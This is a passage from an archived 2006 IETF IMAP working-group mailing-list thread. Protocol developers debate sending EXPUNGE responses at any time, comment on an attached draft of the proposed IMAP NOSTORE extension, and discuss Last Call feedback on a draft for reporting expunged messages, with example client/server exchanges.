At this point in another session some other client issues an expunge.  If my
client reissues the command, the exchange would be
C: 1 uid fetch 1:* flags 
S: * 2 EXPUNGE
S: * 2 EXISTS
S: * 0 RECENT
S: * 1 FETCH (FLAGS () UID 4)
S: * 3 FETCH (FLAGS () UID 6)
S: 1 OK Completed

If instead the client issued
C: 1 uid fetch 1:* flags (repordexpunges)
The server is tempted to respond
S: * EXPUNGED 5
S: * 2 EXISTS
S: * 0 RECENT
S: * 1 FETCH (FLAGS () UID 4)
S: * 2 FETCH (FLAGS (\Deleted) UID 5)
S: * 3 FETCH (FLAGS () UID 6)
S: * EXPUNGED 1:3,5
S: 1 OK Completed

This is clearly bogus.  That first * EXPUNGED response is not wanted.  But
presumably the * EXISTS and * RECENT are still wanted, right?  Or if I am doing
the reportexpunges type of response, ought I to suppress the * EXISTS and *
RECENT responses too?

Peter

Date: Wed, 30 Aug 2006 11:55:28 -0700 (PDT)
From: Mark Crispin <[email-masked]>
To: Dave Cridland <[email-masked]>
cc: [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

On Wed, 30 Aug 2006, Dave Cridland wrote:
>> Rumors to the contrary notwithstanding, I don't oppose proposals for new 
>> functionalities out of hand!
> Sure. But - and I feel strangely Crispinesque saying this - each extension 
> added to IMAP has to justify its existence, and its benefits have to outweigh 
> its costs. I'm really unclear on what the actual benefit is, in this 
> instance.

I don't disagree.  I just reserve judgement on that point until I hear 
Arnt's arguments for why EXPUNGE at any time is desirable (and worth the 
cost of a big switch in IMAP).

I think that, if it is done, my alternative is a better way of doing it. 
However, I don't have any argument (much less a compelling one!) for 
EXPUNGE at any time.  Without a compelling argument, the whole thing 
collapses.

-- Mark --

http://panda.com/mrc
Democracy is two wolves and a sheep deciding what to eat for lunch.
Liberty is a well-armed sheep contesting the vote.

Date: Wed, 30 Aug 2006 19:44:28 +0100
Subject: Re: sending EXPUNGE at any time
From: Dave Cridland <[email-masked]>
To: Mark Crispin <[email-masked]>
Cc: <[email-masked]>
Sender: [email-masked]

On Wed Aug 30 17:57:21 2006, Mark Crispin wrote:
> Rumors to the contrary notwithstanding, I don't oppose proposals 
> for new functionalities out of hand!

Sure. But - and I feel strangely Crispinesque saying this - each 
extension added to IMAP has to justify its existence, and its 
benefits have to outweigh its costs. I'm really unclear on what the 
actual benefit is, in this instance.

I strongly suspect that "EXPUNGEs at any time" aren't useful, and if 
they were, then pipelining IDLE and DONE and being a bit picky over 
which commands to use should get a client 99% of the way there on 
existing (and well deployed) extensions.

Dave.
-- 
Dave Cridland - mailto:[email-masked] - xmpp:[email-masked]
  - acap://acap.dave.cridland.net/byowner/user/dwd/bookmarks/
  - http://dave.cridland.net/
Infotrope Polymer - ACAP, IMAP, ESMTP, and Lemonade

Date: Wed, 30 Aug 2006 09:57:21 -0700 (PDT)
From: Mark Crispin <[email-masked]>
To: Dave Cridland <[email-masked]>
cc: [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

On Wed, 30 Aug 2006, Dave Cridland wrote:
> My client does pipelining routinely, sorry. I find this a very useful feature 
> of IMAP, and indeed any protocol. I think that removing it would represent a 
> backward step.

To clarify: I am not talking about removing pipelining.  I am talking 
about a big switch that would turn off pipelining and turn on EXPUNGE 
during any command.  This switch would default to off.

The NOSTORE proposal is also a big switch.  Because of the residual 
"whoops", I don't think that a NOSTORE client can pipeline (and that COPY 
also needs to be blocked).

Do you have a case for a client to pipeline *AND* allow EXPUNGE during any 
command (including sequence number commands)?  If so, probably neither 
NOSTORE nor my proposed alternative are satisfactory.

>> However, I think that this would be rather easy for most server 
>> implementors to do.  My server has to go to effort not to send EXPUNGE 
>> responses during "prohibited" commands, so it would not mind at all if it 
>> was told "you don't have to do that for me" by a client.
> Sure, but why would a client do that? There's no real gain for a client to 
> allow the server to send expunge responses at any time. It doesn't yield 
> anything particularly useful. Incidentally, this goes for NOSTORE, too. I can 
> see instant benefit for the server, but none for the client.

I interpret the above as being a vote to "do nothing".  That is, "do not 
add a functionality to IMAP to allow EXPUNGE responses at any time."

That is a valid position.  I'm sympathetic to it.  I'm just trying to help 
Arnt out, without actually taking a position on whether or not the 
functionality should be added.

Rumors to the contrary notwithstanding, I don't oppose proposals for new 
functionalities out of hand!

-- Mark --

http://panda.com/mrc
Democracy is two wolves and a sheep deciding what to eat for lunch.
Liberty is a well-armed sheep contesting the vote.

Date: Wed, 30 Aug 2006 22:22:01 +0530
From: Abhijit Menon-Sen <[email-masked]>
To: Dave Cridland <[email-masked]>
Cc: Mark Crispin <[email-masked]>, [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

At 2006-08-30 17:28:34 +0100, [email-masked] wrote:
>
> My client is also explicitly designed to cope with commands being
> processed out of order. For certain commands, I really wish servers
> would do this, in particular long running searches.

Just a data point: my server will do that (and it doesn't need to go out
of its way to implement it).

-- ams

Date: Wed, 30 Aug 2006 17:28:34 +0100
Subject: Re: sending EXPUNGE at any time
From: Dave Cridland <[email-masked]>
To: Mark Crispin <[email-masked]>
Cc: <[email-masked]>
Sender: [email-masked]

On Wed Aug 30 17:00:03 2006, Mark Crispin wrote:
> This is the way that IMAP used to work (and was always intended to 
> work), prior to the adding of pipelining.  In the many years since 
> that time, I have seen little (none, actually) use of pipelining.  
> The only reason for "prohibited" commands for untagged EXPUNGE is 
> to prevent ambiguity during pipelining.
> 
> 
My client does pipelining routinely, sorry. I find this a very useful 
feature of IMAP, and indeed any protocol. I think that removing it 
would represent a backward step.

> The point to pipelining was not to reduce command RTTs, but rather 
> to allow commands to be executed out of order (that's also why 
> there are command tags, which also weren't in the original IMAP).
> 
> 
My client is also explicitly designed to cope with commands being 
processed out of order. For certain commands, I really wish servers 
would do this, in particular long running searches. For large 
mailboxes, BODY searches (as an example) do take time, and yet are 
very useful.

> We generally don't have servers that execute commands out of order 
> because a SEARCH is taking too long, and we generally don't have 
> clients that expect the server to offer this.  If a client runs out 
> of patience with a server, it just opens a new connection (I find 
> such behavior very annoying, but that the way that the world went).
> 
> 
Yes, I find multiple connections a pain, so I avoided them entirely. 
For one thing, the cost of connection is quite high, involving as it 
does several round-trips.

> This alternative would still involve a big switch that has to be 
> thrown by the client.  Someone out there probably does want/use 
> pipelining and possibly even has a server that allows out-of-order 
> command execution.
> 
> 
Well, I've a client that does pipelining, and an ACAP server that 
does out-of-order processing.

> However, I think that this would be rather easy for most server 
> implementors to do.  My server has to go to effort not to send 
> EXPUNGE responses during "prohibited" commands, so it would not 
> mind at all if it was told "you don't have to do that for me" by a 
> client.
> 
> 
Sure, but why would a client do that? There's no real gain for a 
client to allow the server to send expunge responses at any time. It 
doesn't yield anything particularly useful. Incidentally, this goes 
for NOSTORE, too. I can see instant benefit for the server, but none 
for the client.

Dave.
-- 
Dave Cridland - mailto:[email-masked] - xmpp:[email-masked]
  - acap://acap.dave.cridland.net/byowner/user/dwd/bookmarks/
  - http://dave.cridland.net/
Infotrope Polymer - ACAP, IMAP, ESMTP, and Lemonade

Date: Wed, 30 Aug 2006 09:00:03 -0700 (PDT)
From: Mark Crispin <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
cc: [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

What, precisely, is meant by "at once"?

If the issue is to get notification of events when no command is in 
progress (that is, to avoid the need for a periodic NOOP), doesn't IDLE 
address it?

Note that the deadlock problem alluded by RFC 3501 section 5.3 is still 
very much a consideration!

If the issue is to get EXPUNGE responses during "prohibited" commands, 
there is an alternative to NOSTORE.  I think that this alternative may be 
more generally useful.

This alternative is to declare that the client will not pipeline commands. 
The restriction on not sending EXPUNGE when no command is in progress is 
retained; however the restriction on sending EXPUNGE during "prohibited" 
commands is replaced by a stipulation that sequence numbers in a command 
are to be interpreted by the server *prior* to the effect of any EXPUNGE 
result.

Doing this eliminates the ambiguities.

This is the way that IMAP used to work (and was always intended to work), 
prior to the adding of pipelining.  In the many years since that time, I 
have seen little (none, actually) use of pipelining.  The only reason for 
"prohibited" commands for untagged EXPUNGE is to prevent ambiguity during 
pipelining.

The individual who insisted that "IMAP will die" unless pipelining was 
present is long gone from the IMAP community.  As far as I can tell, we've 
just been maintaining the legacy.

The point to pipelining was not to reduce command RTTs, but rather to 
allow commands to be executed out of order (that's also why there are 
command tags, which also weren't in the original IMAP).

The motivation, which seems rather quaint today, was that most people's 
email archive (especially people with very large mailboxes of more then 
500 messages) would not be stored on disk, but rather on secondary storage 
such as magnetic tape or optical disk.  Thus, if the client did a SEARCH 
command, it may take a while while the computer operator located and 
mounted the necessary tape/disk.

This isn't the way that the world went.  We have people with GB-scale 
mailboxes.  5 digit message counts are not uncommon; and new mail stores 
are being designed to scale for 6 and 7 digit message counts in a single 
mailbox.

We generally don't have servers that execute commands out of order because 
a SEARCH is taking too long, and we generally don't have clients that 
expect the server to offer this.  If a client runs out of patience with a 
server, it just opens a new connection (I find such behavior very 
annoying, but that the way that the world went).

This alternative would still involve a big switch that has to be thrown by 
the client.  Someone out there probably does want/use pipelining and 
possibly even has a server that allows out-of-order command execution.

However, I think that this would be rather easy for most server 
implementors to do.  My server has to go to effort not to send EXPUNGE 
responses during "prohibited" commands, so it would not mind at all if it 
was told "you don't have to do that for me" by a client.

NOSTORE requires a little bit more work, and it doesn't address the 
"whoops" problem with FETCH/SEARCH/SORT/THREAD and especially COPY.  My 
suggested alternative addresses the "whoops" problem, and allows STORE.

-- Mark --

http://panda.com/mrc
Democracy is two wolves and a sheep deciding what to eat for lunch.
Liberty is a well-armed sheep contesting the vote.

Date: Wed, 30 Aug 2006 08:38:28 -0700 (PDT)
From: Mark Crispin <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
cc: [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

This proposal has the effect of throwing a switch in the IMAP protocol 
state.  That isn't a show-stopper; but there has been a reticence to 
putting in such switches.

I think that if NOSTORE is in effect, the STORE command must be removed 
from the list of valid commands; that is, the server responds BAD to 
STORE.

Although NOSTORE prevents the problem of STORE impacting an unintended 
message, I don't see how it is supposed to avoid problems with other 
commands that use sequence numbers.  In particular, FETCH, SEARCH, SORT, 
and THREAD all take sequence numbers and all are potentially impacted by 
an EXPUNGE that happens between the time that the command is built and 
executed.

Unless I'm missing something, the best outcome that I can see from this is 
for the client to say "whoops" and redo the command.  That can potentially 
result in multiple "whoops"/redo cycles.

Of greater concern is COPY.  COPY probably needs to be prohibited as well 
as STORE.  I don't think that I need to elaborate the potentially bad 
consequences of a "whoops" with COPY.

More in next message.

-- Mark --

http://panda.com/mrc
Democracy is two wolves and a sheep deciding what to eat for lunch.
Liberty is a well-armed sheep contesting the vote.

Date: Wed, 30 Aug 2006 14:57:43 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: sending EXPUNGE at any time
Cc: Abhijit Menon-Sen <[email-masked]>
Sender: [email-masked]

Abhijit Menon-Sen writes:
> Apart from the change above, you also need:
>
>     capability =/ "NOSTORE"

Oh no! I really liked the grammar ;)

Arnt

Date: Wed, 30 Aug 2006 18:12:16 +0530
From: Abhijit Menon-Sen <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
Cc: [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

Hi Arnt.

Just a couple of minor nits:

At 2006-08-30 13:57:29 +0200, [email-masked] wrote:
>
>     Form (ABNF) notation as specified in [ABNF]. [IMAPABNF] defines
>     the non-terminals search-param.

s/search/select/

>         search-param =/ "NOSTORE"

Apart from the change above, you also need:

    capability =/ "NOSTORE"

Nice idea.

-- ams

Date: Wed, 30 Aug 2006 14:16:53 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: sending EXPUNGE at any time
Sender: [email-masked]

Btw. I am not going to send this document to the IESG this afternoon and 
demand publication as a full standard no later than Friday. Let's call 
it a basis for discussion, and perhaps it becomes an RFC, and perhaps 
it does not.

Arnt

Date: Wed, 30 Aug 2006 13:57:29 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: sending EXPUNGE at any time
Sender: [email-masked]

---
Content-Type: text/plain; format=flowed

A thread last week annoyed me sufficiently to look closely at anytime 
expunges. After a bit of thinking, I wrote 
draft-gulbrandsen-imap-nostore-00.txt. Comments invited, if possible 
without calling me or anyone else cretin. It really isn't called for.

Btw, if you see two extraneous characters in one of the example 
commands, please ignore them. I noticed that only after sending the 
draft.

I've appended the draft to this message so you don't have to wait until 
the i-d editor posts it.

Arnt

---
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=utf-8
Content-Disposition: attachment; size=11175;
  filename=draft-gulbrandsen-imap-nostore-00.txt

Network Working Group                                   Arnt Gulbrandsen
Request for Comments: DRAFT                       Oryx Mail Systems GmbH
draft-gulbrandsen-imap-nostore-00.txt                      February 2006

                       The IMAP NOSTORE Extension

Status of this Memo

    By submitting this Internet-Draft, each author represents that any
    applicable patent or other IPR claims of which he or she is aware
    have been or will be disclosed, and any of which he or she becomes
    aware will be disclosed, in accordance with Section 6 of BCP 79.

    Internet-Drafts are working documents of the Internet Engineering
    Task Force (IETF), its areas, and its working groups.  Note that
    other groups may also distribute working documents as Internet-
    Drafts.

    Internet-Drafts are draft documents valid for a maximum of six
    months and may be updated, replaced, or obsoleted by other documents
    at any time.  It is inappropriate to use Internet-Drafts as
    reference material or to cite them other than as "work in progress."

    The list of current Internet-Drafts can be accessed at
    http://www.ietf.org/ietf/1id-abstracts.txt. The list of Internet-
    Draft Shadow Directories can be accessed at
    http://www.ietf.org/shadow.html.

    This Internet-Draft will expire in February, 2007.

Copyright Notice

    Copyright (C) The Internet Society (2006).

Abstract

    The NOSTORE extension allows an IMAP server to send EXPUNGE and
    EXISTS responses to a support client at any time, while preserving
    the advantages of message-number arithmentic.

    The extension requires that UID STORE be used instead of STORE.

Gulbrandsen               Expires Feburary 2007                 [Page 1]
=0C
Internet-draft                                               August 2006

Conventions Used in This Document

    The key words "REQUIRED", "MUST", "MUST NOT", "SHOULD", "SHOULD
    NOT", and "MAY" in this document are to be interpreted as described
    in "Key words for use in RFCs to Indicate Requirement Levels"
    [KEYWORDS]. Formal syntax is defined by [ABNF] as modified by [IMAP]
    and [IMAPABNF].

    In the example, "C:" and "S:" indicate lines sent by the client and
    server respectively.

Introduction

    An [IMAP] server that supports this extension announces "NOSTORE" as
    one of its capabilities. This extension adds one new select
    parameter, no commands and no responses.

    While the extension is active, the server notifies the client at
    once about external changes to the mailbox.

Client Requirements

    To enable NOSTORE for a mailbox session, the client uses the NOSTORE
    select-param on the SELECT command.

    In such a session, the client MUST NOT use the STORE command. It
    should always use the UID STORE command instead.

    The client MUST tolerate that EXPUNGE, EXISTS and other untagged
    responses can arrive at any time, even when no command is being
    executed.

    It follows that commands with MSN arguments are best not used. This
    includes FETCH, COPY, often SEARCH and sometimes UID SEARCH. The
    commands UID STORE, UID FETCH, UID COPY and UID SEARCH can do the
    same job.

Server Requirements

    When NOSTORE has been enabled for a mailbox session, the server
    changes its behaviour as follows:

    The server MUST reject the STORE command with a BAD response.

Gulbrandsen               Expires Feburary 2007                 [Page 2]
=0C
Internet-draft                                               August 2006

    If a command is found to contains MSNs outside the currently valid
    range, the server MUST silently ignore these MSNs. (This is similar
    to how UIDs are handled.)

    The server SHOULD send EXISTS and EXPUNGED responses promptly when
    messages are added to the mailbox or expunged from the mailbox. The
    server MAY send flag updates and other unsolicited responses at any
    time.

Examples

    In examples, some lines have been wrapped for editorial clarity.

    In this example, a client selects a mailbox and updates its UID and
    flag cache.

         C: a SELECT INBOX (NOSTORE)
         S: * FLAGS (\Deleted \Answered \Flagged \Draft \Seen)
         S: * 999 EXISTS
         S: * 0 RECENT
         S: * OK [UIDNEXT 10001] next uid
         S: * OK [UIDVALIDITY 1] uid validity
         S: * OK [PERMANENTFLAGS (\Deleted \Answered \Flagged \Draft
            \Seen \*)] permanent flags
         S: a OK [READ-WRITE] Mailbox selected with NOSTORE active
         C: b UID FETCH 1:* (FLAGS)
         S: * 1 FETCH (UID 10 FLAGS (\seen))
         S: * 2 FETCH (UID 20 FLAGS (\seen))
         [996 similar responses elided]
         S: * 999 FETCH (UID 10000 FLAGS ())
         S: c OK That was fun

    In the next example, an advanced client uses MSN arithmetic to do
    the same job much more efficiently. Before connecting, the client
    has 1000 messages cached, with UIDs 10, 20 and so on to 10000. When
    connecting, it sees that the server has just 999 messages, and so
    knows that at least one message has been deleted.

         C: a SELECT INBOX (NOSTORE)
         S: * FLAGS (\Deleted \Answered \Flagged \Draft \Seen)
         S: * 999 EXISTS
         S: * 0 RECENT
         S: * OK [UIDNEXT 10001] next uid
         S: * OK [UIDVALIDITY 1] uid validity
         S: * OK [PERMANENTFLAGS (\Deleted \Answered \Flagged \Draft
            \Seen \*)] permanent flags
         S: a OK [READ-WRITE] Mailbox selected with NOSTORE active

Gulbrandsen               Expires Feburary 2007                 [Page 3]
=0C
Internet-draft                                               August 2006

    To find out which message was deleted without using too much
    bandwidth, this very smart client starts with a search command using
    MSNs:

         C: d UID SEARCH 1,200,400,600,800,999,* UID
         S: * SEARCH 10,2000,4000,6000,8000,10000
         S: d OK Search completed

    At this time, the client knows the approximate UID of the deleted
    messages. The server has 198 messages with UIDs between 10 and 2000,
    199 between 2000 and 4000, etc. The client determines that since the
    server has 198 messages between UID 8000 and 10000 and its own cache
    contains 199 messages, the deleted message must be in this range.
    Accordingly it sends another search:

         C: e UID SEARCH 801:998
         S: * SEARCH 8010,8030,8040,8040,[196 more UIDs elided]
         S: e OK Search completed

    The second search reveals that the cached message with UID 8020 has
    been expunged.

    Note that this command sequence works perfectly even if the server
    expunges messages at the same time.

    If the server supports [CONDSTORE], the client can now go on to
    update its flag cache.

         C: f UID FETCH 1:* FLAGS (CHANGEDSINCE 42)
         S: * 997 FETCH (UID 9980 FLAGS (\seen) MODSEQ 42)
         S: f OK That was much more fun!

Formal Syntax

    The following syntax specification uses the Augmented Backus-Naur
    Form (ABNF) notation as specified in [ABNF]. [IMAPABNF] defines the
    non-terminals search-param.

    Except as noted otherwise, all alphabetic characters are case-
    insensitive.  The use of upper or lower case characters to define
    token strings is for editorial clarity only.  Implementations MUST
    accept these strings in a case-insensitive fashion.

        search-param =3D/ "NOSTORE"

Security considerations

Gulbrandsen               Expires Feburary 2007                 [Page 4]
=0C
Internet-draft                                               August 2006

    There are no known security issues with this extension.

IANA considerations

    The IANA is requested to add NOSTORE to the list of IMAP extensions.

Credits

    (Your name here :)

Normative References

    [ABNF]     Crocker, Overell, "Augmented BNF for Syntax
               Specifications: ABNF", RFC 2234, Internet Mail
               Consortium, Demon Internet Ltd, November 1997.

    [KEYWORDS] Bradner, "Key words for use in RFCs to Indicate
               Requirement Levels", RFC 2119, Harvard University, March
               1997.

    [IMAP]     Crispin, M., "Internet Message Access Protocol - Version
               4rev1", RFC 3501, University of Washington, June 2003.

    [IMAPABNF] Melnikov, A. and Daboo, C., "Collected Extensions to
               IMAP4 ABNF", RFC 4466, Isode Ltd., April 2006.

    [CONDSTORE] Melnikov, A. and Hole, S.., "IMAP Extension for
               Conditional STORE Operation or Quick Flag Changes
               Resynchronization", RFC 4551, Isode Ltd., June 2006.

Author's Address

    Arnt Gulbrandsen
    Oryx Mail Systems GmbH
    Schweppermannstr. 8
    D-81671 Muenchen
    Germany

    Fax: +49 89 4502 9758

    Email: [email-masked]

Gulbrandsen               Expires Feburary 2007                 [Page 5]
=0C
Internet-draft                                               August 2006

Intellectual Property Statement

    The IETF takes no position regarding the validity or scope of any
    Intellectual Property Rights or other rights that might be claimed
    to pertain to the implementation or use of the technology described
    in this document or the extent to which any license under such
    rights might or might not be available; nor does it represent that
    it has made any independent effort to identify any such rights.
    Information on the procedures with respect to rights in RFC
    documents can be found in BCP 78 and BCP 79.

    Copies of IPR disclosures made to the IETF Secretariat and any
    assurances of licenses to be made available, or the result of an
    attempt made to obtain a general license or permission for the use
    of such proprietary rights by implementers or users of this
    specification can be obtained from the IETF on-line IPR repository
    at http://www.ietf.org/ipr.

    The IETF invites any interested party to bring to its attention any
    copyrights, patents or patent applications, or other proprietary
    rights that may cover technology that may be required to implement
    this standard.  Please address the information to the IETF at ietf-
    [email-masked].

Full Copyright Statement

    Copyright (C) The Internet Society (2006).  This document is subject
    to the rights, licenses and restrictions contained in BCP 78, and
    except as set forth therein, the authors retain all their rights.

    This document and the information contained herein are provided on
    an "AS IS" basis and THE CONTRIBUTOR, THE ORGANIZATION HE/SHE
    REPRESENTS OR IS SPONSORED BY (IF ANY), THE INTERNET SOCIETY AND THE
    INTERNET ENGINEERING TASK FORCE DISCLAIM ALL WARRANTIES, EXPRESS OR
    IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF
    THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED
    WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.

Acknowledgment

    Funding for the RFC Editor function is currently provided by the
    Internet Society.

Gulbrandsen               Expires Feburary 2007                 [Page 6]
=0C
-----

Date: Mon, 28 Aug 2006 14:57:37 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: Peter Coates <[email-masked]>
cc: IMAP Extensions WG <[email-masked]>
Subject: RE: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Organization: Networks & Distributed Computing
Sender: [email-masked]

On Mon, 28 Aug 2006, Peter Coates wrote:
> I am very concerned by this idea that the server cache that state of the client
> for future reference.  People access their email from multiple clients...

Yes, but not all clients will ask the server to cache state.  An online 
client would never do so.

> At least, I don't
> see how it can be done without extensions whereby the client identify itself in
> some way, and I don't want to go there.

I don't see the problem, assuming that it is voluntary on the part of the 
client and there is no way for some other client to meddle with that 
cached state (other than, perhaps, deleting it).

My idea has those properties.

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Mon, 28 Aug 2006 14:56:25 -0700
From: Peter Coates <[email-masked]>
Subject: RE: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
To: "'Randall Gellens'" <[email-masked]>, "'Alexey Melnikov'" <[email-masked]>, "'Arnt Gulbrandsen'" <[email-masked]>
Cc: [email-masked]
Sender: [email-masked]

I am very concerned by this idea that the server cache that state of the client
for future reference.  People access their email from multiple clients... That
is one of the points of IMAP: I can use my IMAP client on a machine at work, a
machine at home, (through a web mail program) in some internet café, ... The
server can not know "the state of the client" except at those times the client
is logged on, and pretending otherwise is not going to help.  At least, I don't
see how it can be done without extensions whereby the client identify itself in
some way, and I don't want to go there. 

-----Original Message-----
From: [email-masked] [mailto:[email-masked]]
On Behalf Of Randall Gellens
Sent: August 28, 2006 14:34
To: Alexey Melnikov; Arnt Gulbrandsen
Cc: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'
to Proposed Standard (draft-melnikov-imap-expunged)

At 11:00 AM +0100 8/27/06, Alexey Melnikov wrote:

>>  3. The document doesn't say for how long the expunges must be 
>> remembered. Forever would be a problem for me (in a 5000-message 
>> mailbox where 35,000 old messages have been deleted, EXPUNGED could 
>> be very big
>
>  Currently it is forever.

I want to be sure I understand what a server has to maintain.  Is it like the
newsrc file of old, a set of values and value ranges that include the UID of
every message that has ever been deleted?  Or those messages that have been
deleted but whose deletion has not yet reported?  If the latter, when does the
server know the client has the response and thus can prune the reported UIDs?
--
Randall Gellens
Opinions are personal;    facts are suspect;    I speak for myself only
-------------- Randomly-selected tag: --------------- I make a fortune from
criticizing the policy of the government, and then hand it over to the
government in taxes to keep it going.
                                              --George Bernard Shaw

Date: Mon, 28 Aug 2006 14:45:57 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: IMAP Extensions WG <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to  Proposed Standard (draft-melnikov-imap-expunged)
Organization: Networks & Distributed Computing
Sender: [email-masked]

Well, what about my idea, where a server could (at a client's request) 
cache per-client the UID map and flag state, and then (again at the 
client's request) report the differences?

It seems to me that that would result in less traffic.  It'd also be 
rather simple to implement IMHO.

Although Alexey's proposal doesn't do this, the thought of having to keep 
a journal of changes scares me.  A per-client cache seems to me to scale 
better since there is a finite number of clients the user will use.

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Mon, 28 Aug 2006 14:34:15 -0700
To: Alexey Melnikov <[email-masked]>, Arnt Gulbrandsen <[email-masked]>
From: Randall Gellens <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'          to Proposed Standard (draft-melnikov-imap-expunged)
Cc: [email-masked]
Sender: [email-masked]

At 11:00 AM +0100 8/27/06, Alexey Melnikov wrote:

>>  3. The document doesn't say for how long the expunges must be 
>> remembered. Forever would be a problem for me (in a 5000-message 
>> mailbox where 35,000 old messages have been deleted, EXPUNGED 
>> could be very big
>
>  Currently it is forever.

I want to be sure I understand what a server has to maintain.  Is it 
like the newsrc file of old, a set of values and value ranges that 
include the UID of every message that has ever been deleted?  Or 
those messages that have been deleted but whose deletion has not yet 
reported?  If the latter, when does the server know the client has 
the response and thus can prune the reported UIDs?
-- 
Randall Gellens
Opinions are personal;    facts are suspect;    I speak for myself only
-------------- Randomly-selected tag: ---------------
I make a fortune from criticizing the policy of the government, and
then hand it over to the government in taxes to keep it going.
                                              --George Bernard Shaw

Date: Mon, 28 Aug 2006 14:27:05 -0700
To: Alexey Melnikov <[email-masked]>
From: Randall Gellens <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'          to  Proposed Standard (draft-melnikov-imap-expunged)
Cc: IMAP Extensions WG <[email-masked]>
Sender: [email-masked]

At 6:33 PM +0100 8/26/06, Alexey Melnikov wrote:

>  The comptetition for the best name is now opened :-). (VANISHED :-)?)

How about TOMBSTONE?
-- 
Randall Gellens
Opinions are personal;    facts are suspect;    I speak for myself only
-------------- Randomly-selected tag: ---------------
God is a comic playing to an audience that's afraid to laugh.

Date: Mon, 28 Aug 2006 14:19:30 -0700
From: Peter Coates <[email-masked]>
Subject: RE: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
To: "'Ken Murchison'" <[email-masked]>
Cc: "'Arnt Gulbrandsen'" <[email-masked]>, [email-masked], "'Alexey Melnikov'" <[email-masked]>
Sender: [email-masked]

Well that is easier.  But is this really the intent of he spec?  If it were, I'd
expect to see an example showing that REPORTEXPUNGES can be specified without
CHANGEDSINCE, and I'd expect to see explicit words saying that the response to
REPORTPURGES without CHANGEDSINCE is the cumulative list of all expunged
messages, and that the response to REPORTPURGES with CHANGEDSINCE could be
either the uid of the messages purged since the modseq specified or the
cumulative list.

Peter

-----Original Message-----
From: [email-masked] [mailto:[email-masked]]
On Behalf Of Ken Murchison
Sent: August 28, 2006 13:43
To: Peter Coates
Cc: 'Arnt Gulbrandsen'; [email-masked]; 'Alexey Melnikov'
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'
to Proposed Standard (draft-melnikov-imap-expunged)

Peter Coates wrote:
> Holding expunged data indefinitely is a problem for me.  Would it not 
> be possible to define a NO response if the CHANGEDSINCE date with a 
> REPORTEXPUNGES was too far in the past.
> 
> Eg:
> 
> C: s100 UID FETCH 1:* (FLAGS) (CHANGEDSINCE 12345 REPORTEXPUNGES)
> S: s100 NO [OLDESTEXPIREMODSEQ  54321] Too long ago
> 
> Or if you prefer:
> 
> C: s100 UID FETCH 1:* (FLAGS) (CHANGEDSINCE 12345 REPORTEXPUNGES)
> S: * 1 FETCH (UID 4 MODSEQ (65402) FLAGS (\Seen))
> S: * 2 FETCH (UID 6 MODSEQ (75403) FLAGS (\Deleted))
> S: * 4 FETCH (UID 8 MODSEQ (29738) FLAGS ($NoJunk $AutoJunk $MDNSent))
> S: s100 OK [OLDESTEXPIREMODSEQ  54321] Too long ago

The way the current draft is written (as I read it and as clarified by 
Alexey), you don't have remember which UIDs have been expunged since a 
given point in time.  You just blindly return all UIDs in the sequence 
that no longer exist.

> -----Original Message-----
> From: [email-masked] [mailto:[email-masked]]
> On Behalf Of Arnt Gulbrandsen
> Sent: August 27, 2006 08:07
> To: [email-masked]
> Cc: Alexey Melnikov
> Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'
> to Proposed Standard (draft-melnikov-imap-expunged)
> 
> 
> Alexey Melnikov writes:
>> Arnt Gulbrandsen wrote:
>>
>>> 3. The document doesn't say for how long the expunges must be 
>>> remembered. Forever would be a problem for me (in a 5000-message 
>>> mailbox where 35,000 old messages have been deleted, EXPUNGED could 
>>> be very big
>> Currently it is forever. Can you try to calculate size of the EXPUNGED 
>> response (that uses UID ranges) for your mailbox?
> 
> For my main inbox, the response to 'a UID SEARCH 1:*' is a 25617-byte SEARCH
> response, and the first EXPUNGED response would be 28128 bytes.
> 
>> There was no intent to make EXPUNGED return *all* expunged UIDs all 
>> the time. Every time the server intents to emit an EXPUNGE, it will 
>> emit an EXPUNGED instead, so the server would just send "deltas".
>> Does this need to be clarified?
> 
> Clarified or shown in an example.
> 
> Arnt
> 
> 
> 

-- 
Kenneth Murchison
Systems Programmer
Project Cyrus Developer/Maintainer
Carnegie Mellon University

Date: Mon, 28 Aug 2006 14:00:34 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: Ken Murchison <[email-masked]>
cc: Peter Coates <[email-masked]>, "'Arnt Gulbrandsen'" <[email-masked]>, [email-masked], "'Alexey Melnikov'" <[email-masked]>
